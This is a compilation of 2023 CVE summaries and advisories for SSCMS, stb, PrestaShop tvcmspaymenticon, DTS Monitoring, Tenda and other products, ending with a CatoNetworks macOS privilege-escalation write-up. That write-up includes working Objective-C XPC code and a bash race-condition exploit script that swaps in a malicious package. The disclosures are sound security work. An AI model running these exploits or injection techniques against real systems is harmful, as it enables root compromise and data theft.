SSCMS 7.2.2 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Material Management component.

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CVE-2023-43952: Security-Advisories/CVE-2023-43952 at main · M19O/Security-Advisories

SSCMS 7.2.2 was discovered to contain a cross-site scripting (XSS) vulnerability via the Column Management component.

CVE-2023-43951: Security-Advisories/CVE-2023-43951 at main · M19O/Security-Advisories

Nothings stb 2.28 was discovered to contain a Null Pointer Dereference via the function stbi__convert_format. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted pic file.

**Null Pointer Dereference vulnerability in nothings/stb**

​ Nothings/stb, an image processing library, has a **Null Pointer Dereference** vulnerability in the stbi\_\_convert\_format function, stb\_image.h 2.28(https://github.com/nothings/stb/blob/master/stb\_image.h). This function is called in stbi\_\_pic\_load and is used to parse files in the pic image format. And stbi\_\_pic\_load is called by stbi\_load\_from\_memory.

**Vulnerability causes**

static void \*stbi\_\_pic\_load(stbi\_\_context \*s,int \*px,int \*py,int \*comp,int req\_comp, stbi\_\_result\_info \*ri)
{
   stbi\_uc \*result;
   int i, x,y, internal\_comp;
   STBI\_NOTUSED(ri);

   if (!comp) comp = &internal\_comp;

   for (i=0; i<92; ++i)
      stbi\_\_get8(s);

   x = stbi\_\_get16be(s);
   y = stbi\_\_get16be(s);

   if (y > STBI\_MAX\_DIMENSIONS) return stbi\_\_errpuc("too large","Very large image (corrupt?)");
   if (x > STBI\_MAX\_DIMENSIONS) return stbi\_\_errpuc("too large","Very large image (corrupt?)");

   if (stbi\_\_at\_eof(s))  return stbi\_\_errpuc("bad file","file too short (pic header)");
   if (!stbi\_\_mad3sizes\_valid(x, y, 4, 0)) return stbi\_\_errpuc("too large", "PIC image too large to decode");

   stbi\_\_get32be(s); //skip \`ratio'
   stbi\_\_get16be(s); //skip \`fields'
   stbi\_\_get16be(s); //skip \`pad'

   // intermediate buffer is RGBA
   result = (stbi\_uc \*) stbi\_\_malloc\_mad3(x, y, 4, 0);
   if (!result) return stbi\_\_errpuc("outofmem", "Out of memory");
   memset(result, 0xff, x\*y\*4);

   if (!stbi\_\_pic\_load\_core(s,x,y,comp, result)) {
      STBI\_FREE(result);
      result=0;
   }
   \*px = x;
   \*py = y;
   if (req\_comp == 0) req\_comp = \*comp;
   result=stbi\_\_convert\_format(result,4,req\_comp,x,y);

   return result;
}

​ We can see that the "**result**" variable is assigned NULL after STBI\_FREE and is used again by stbi\_\_convert\_format.

static unsigned char \*stbi\_\_convert\_format(unsigned char \*data, int img\_n, int req\_comp, unsigned int x, unsigned int y)
{
   int i,j;
   unsigned char \*good;

   if (req\_comp == img\_n) return data;
   STBI\_ASSERT(req\_comp >= 1 && req\_comp <= 4);

   good = (unsigned char \*) stbi\_\_malloc\_mad3(req\_comp, x, y, 0);
   if (good == NULL) {
      STBI\_FREE(data);
      return stbi\_\_errpuc("outofmem", "Out of memory");
   }

   for (j=0; j < (int) y; ++j) {
      unsigned char \*src  = data + j \* x \* img\_n   ;
      unsigned char \*dest = good + j \* x \* req\_comp;

      #define STBI\_\_COMBO(a,b)  ((a)\*8+(b))
      #define STBI\_\_CASE(a,b)   case STBI\_\_COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
      // convert source image with img\_n components to one with req\_comp components;
      // avoid switch per pixel, so use switch per scanline and massive macros
      switch (STBI\_\_COMBO(img\_n, req\_comp)) {
         STBI\_\_CASE(1,2) { dest\[0\]=src\[0\]; dest\[1\]=255;                                     } break;
         STBI\_\_CASE(1,3) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\];                                  } break;
         STBI\_\_CASE(1,4) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\]; dest\[3\]=255;                     } break;
         STBI\_\_CASE(2,1) { dest\[0\]=src\[0\];                                                  } break;
         STBI\_\_CASE(2,3) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\];                                  } break;
         STBI\_\_CASE(2,4) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\]; dest\[3\]=src\[1\];                  } break;
         STBI\_\_CASE(3,4) { dest\[0\]=src\[0\];dest\[1\]=src\[1\];dest\[2\]=src\[2\];dest\[3\]=255;        } break;
         STBI\_\_CASE(3,1) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]);                   } break;
         STBI\_\_CASE(3,2) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]); dest\[1\] = 255;    } break;
         STBI\_\_CASE(4,1) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]);                   } break;
         STBI\_\_CASE(4,2) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]); dest\[1\] = src\[3\]; } break;
         STBI\_\_CASE(4,3) { dest\[0\]=src\[0\];dest\[1\]=src\[1\];dest\[2\]=src\[2\];                    } break;
         default: STBI\_ASSERT(0); STBI\_FREE(data); STBI\_FREE(good); return stbi\_\_errpuc("unsupported", "Unsupported format conversion");
      }
      #undef STBI\_\_CASE
   }

   STBI\_FREE(data);
   return good;
}

​ The "**result**" variable will be used again as the "**data**" variable inside stbi\_\_convert\_format, when the "**data**" variable is already a null pointer, and using it again will result in a null pointer dereference.

**Vulnerability reproduce**

​ The environment is shown below.

​ In the "null\_example" folder, use the following command.

​ or

​ We can see the "core dumped".

**Impact**

Denial of service attack

​ Here the "**result**" variable is assigned as a null pointer.

​ Here the null pointer is used as the base address, at which point an error occurs.

CVE-2023-43898: GitHub - peccc/null-stb

A deserialization vulnerability in Afterlogic Aurora Files v9.7.3 allows attackers to execute arbitrary code via supplying a crafted .sabredav file.

CVE-2023-43176

A cross-site scripting (XSS) vulnerability in the bpk-common/auth/login/index.html login portal in Broadpeak Centralized Accounts Management Auth Agent 01.01.00.19219575_ee9195b0, 01.01.01.30097902_fd999e76, and 00.12.01.9565588_1254b459 allows remote attackers to inject arbitrary web script or HTML via the disconnectMessage parameter.

CVE-2023-40519

Theme volty tvcmspaymenticon up to v4.0.1 was discovered to contain a SQL injection vulnerability via the component /tvcmspaymenticon/ajax.php?action=update_position&recordsArray.

**IMPORTANT NOTICE**: DO NOT REPORT VULNERABILITIES SOLELY TO THE AUTHOR OR MARKETPLACE.

We urge you to report any vulnerabilities directly to us. Our mission is to ensure the safety and security of the PrestaShop ecosystem. Unfortunately, many module developers may not always recognize or acknowledge the vulnerabilities in their code, whether due to lack of awareness, or inability to properly evaluate the associated risk, or other reasons.

Given the rise in professional cybercrime networks actively seeking out these vulnerabilities, it's crucial that any potential threats are promptly addressed and the community is informed. The most effective method to do this is by publishing a CVE, like the one provided below.

Should you discover any vulnerabilities, **please report them to us at: report\[@\]security-presta.org**.

Every vulnerability report helps make the community more secure, and we are profoundly grateful for any information shared with us.

In the module “Theme Volty CMS Payment Icon” (tvcmspaymenticon) up to version 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.

**Summary**

*   **CVE ID**: CVE-2023-39645
*   **Published at**: 2023-09-26
*   **Platform**: PrestaShop
*   **Product**: tvcmspaymenticon
*   **Impacted release**: <= 4.0.1 (4.0.2 fixed the vulnerability)
*   **Product author**: Theme Volty
*   **Weakness**: CWE-89
*   **Severity**: critical (9.8)

**Description**

The script ajax.php has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.

**CVSS base metrics**

*   **Attack vector**: network
*   **Attack complexity**: low
*   **Privilege required**: none
*   **User interaction**: none
*   **Scope**: unchanged
*   **Confidentiality**: high
*   **Integrity**: high
*   **Availability**: high

**Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Possible malicious usage**

*   Obtain admin access
*   Remove data from the associated PrestaShop
*   Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts
*   Rewrite SMTP settings to hijack emails

**Patch from 4.0.1**

    --- 4.0.1/tvcmspaymenticon/ajax.php
    +++ 4.0.2/tvcmspaymenticon/ajax.php
            $update_position[] = 'UPDATE 
                                            `' . _DB_PREFIX_ . 'tvcmspaymenticon` 
                                        SET
    -                                        `position` = ' . $pos . '
    +                                        `position` = ' . (int) $pos . '
                                        WHERE
    -                                        `id_tvcmspaymenticon` = ' . $value . ';';
    +                                        `id_tvcmspaymenticon` = ' . (int) $value . ';';
    

**Other recommendations**

*   It’s recommended to upgrade to the latest version of the module **tvcmspaymenticon**.
*   Upgrade PrestaShop to the latest version to disable multiquery executions (separated by “;”) - be warned that this functionality **WILL NOT** protect your SHOP against injection SQL which uses the UNION clause to steal data.
*   Change the default database prefix ps_ with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS
*   Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.

**Timeline**

Date

Action

2023-02-10

Issue discovered during a code review by TouchWeb.fr

2023-02-10

Contact PrestaShop Addons security Team to confirm versions scope by author

2023-02-15

Author provide a patch which still own all criticals vulnerabilities

2023-04-13

Recontact PrestaShop Addons security Team to confirm versions scope by author

2023-04-13

Request a CVE ID

2023-05-19

Author provide patch

2023-08-15

Received CVE ID

2023-09-26

Publish this security advisory

**Links**

*   PrestaShop addons product page
*   Author product page
*   National Vulnerability Database

**DISCLAIMER:** _The French Association Friends Of Presta (FOP) acts as an intermediary to help hosting this advisory. While we strive to ensure the information and advice provided are accurate, FOP cannot be held liable for any consequences arising from reported vulnerabilities or any subsequent actions taken._

CVE-2023-39645: [CVE-2023-39645] Improper neutralization of SQL parameter in Theme Volty CMS Payment Icon module for PrestaShop

An issue was discovered in DTS Monitoring 3.57.0. The parameter url within the WGET check function is vulnerable to OS command injection (blind).

CVE-2023-33273: CVE-Disclosures/CVE-2023-33273.md at main · l4rRyxz/CVE-Disclosures

An issue was discovered in DTS Monitoring 3.57.0. The parameter ip within the Ping check function is vulnerable to OS command injection (blind).

CVE-2023-33272: CVE-Disclosures/CVE-2023-33272.md at main · l4rRyxz/CVE-Disclosures

Tenda AC6 v15.03.05.19 is vulnerable to Buffer Overflow as the Index parameter does not verify the length.

CVE-2023-40830

An issue in CatoNetworks CatoClient before v.5.4.0 allows attackers to escalate privileges and winning the race condition (TOCTOU) via the PrivilegedHelperTool component.

**Introduction**

A couple of months ago, I have found Local Privilege Escalation vulnerability inside of CatoNetworks macOS application which is fixed in the version 5.4.0. We will see how to exploit the simple race condition in order to achieve escalation of privileges to _root_ user.

**Analysis**

After examining ~/Library/LaunchDaemons/com.catonetworks.mac.CatoClient.helper.plist we can see that the Mach service name is com.catonetworks.mac.client.daemon and the binary it runs is /Library/Application Support/CatoNetworks/com.catonetworks.mac.CatoClient.helper. We will take a note of the Mach service name because we will need it to communicate with the XPC service.

After we have obtained some limited information, we need to load the main binary in _Hopper_ to analyze what is happening and to check whether there are any vulnerabilities.

Searching for listener:shouldAcceptNewConnection revealed that the exported protocol is _TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_.

Running class dump showed that this protocol contains a single method - (void)installPackageAtPath:(NSString *)arg1 withCompletion:(void (^)(BOOL))arg2;.

Based on the name, we can conclude that we need to provide the path to the .pkg file and we can check whether we have succeeded or not based on the reply block.

If we now search for implementation of this method, we can see that it calls function sub_100002b7c.

Analyzing the sub_100002b7c function, we can see that it checks whether sub_1000027b0 returned successfully, followed by creation of NSTask (to run programs).

Near the end of the function, there is another check which confirms whether probably the output of the run NSTask contains \norigin=Developer ID Installer: Cato Networks Ltd (CKGSB8CH43).

We will now create a minimal objc code to communicate with the service, and we will examine the arguments passed to -[NSTask setLaunchPath:] and -[NSTask setArguments:] methods with debugger (lldb).

The objc code:

    // gcc cato.m -o cato -framework Foundation
    #import <Foundation/Foundation.h>
    
    static NSString * serviceName = @"com.catonetworks.mac.client.daemon";
    
    @protocol _TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_
    - (void)installPackageAtPath:(NSString *)arg1 withCompletion:(void (^)(BOOL))arg2;
    @end
    
    int main(int argc, const char **argv) {
        NSXPCConnection * conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:4096];
    
        [conn setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_)]];
        [conn resume];
    
        id obj = [conn remoteObjectProxyWithErrorHandler:^(NSError * error) {
               NSLog(@"Error: %@", error);
        }];
    
        NSString * pkgPath = [NSString stringWithCString:argv[1] encoding:NSASCIIStringEncoding];
    
        [obj installPackageAtPath:pkgPath withCompletion:^(BOOL succeeded) {
            if (succeeded) {
                NSLog(@"Exploit succeeded; check /tmp/himynameis");
            } else {
                NSLog(@"Exploit failed; please try again");
            }
        }];
    
        dispatch_main();
        return 0;
    }
    

While inside of lldb we want to set the breakpoints and examine the arguments. Compiling the above code and running it as ./cato nsecho gives the following inside of lldb.

From the lldb output we can conclude that the service is calling /usr/sbin/spctl with the arguments -a -vvv -t install PACKAGE_PATH_WE_PROVIDED. spctl is used to check notorization on the pkg files.

Running the exact command on the legitimate CatoNetworks package returns the output which contains the string we found earlier (\norigin=Developer ID Installer: Cato Networks Ltd (CKGSB8CH43)).

So far we now the following:

*   Services uses _TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_ protocol
*   We need to call installPackageAtPath:pkgPath withCompletion:
*   Service checks whether the app is notorized by the Cato using spctl
*   Gets installed if the previous check was successful

It seems that there is no way to exploit it, but after running spctl, I have noticed that it doesn’t return immediately, it takes a couple of milliseconds, meaning that we have potential race condition here.

To exploit this, we need to do the following:

*   Run the exploit, providing the path to the legitimate Cato pkg file
*   Wait a bit
*   Replace the legitimate Cato pkg file with the malicious one
*   Local Privilege Escalation

I will just add a simple command in the postinstall scripts which writes the current user to /tmp/himynameis file.

_The exploit bash script:_

    #!/bin/bash
    
    ORIGINAL=/Users/demon/Downloads/CatoClient-2.pkg
    FAKE=/Users/demon/Downloads/exploit.pkg
    TEMP=/tmp/expl.pkg
    
    while [ true ]
    do
        cp "${ORIGINAL}" "${TEMP}"
    
        ./cato "${TEMP}" &
        sleep 0.1
        cp "${FAKE}" "${TEMP}"
        sleep 4
        stat /tmp/himynameis > /dev/null 2>&1 && exit 0
    done

Source

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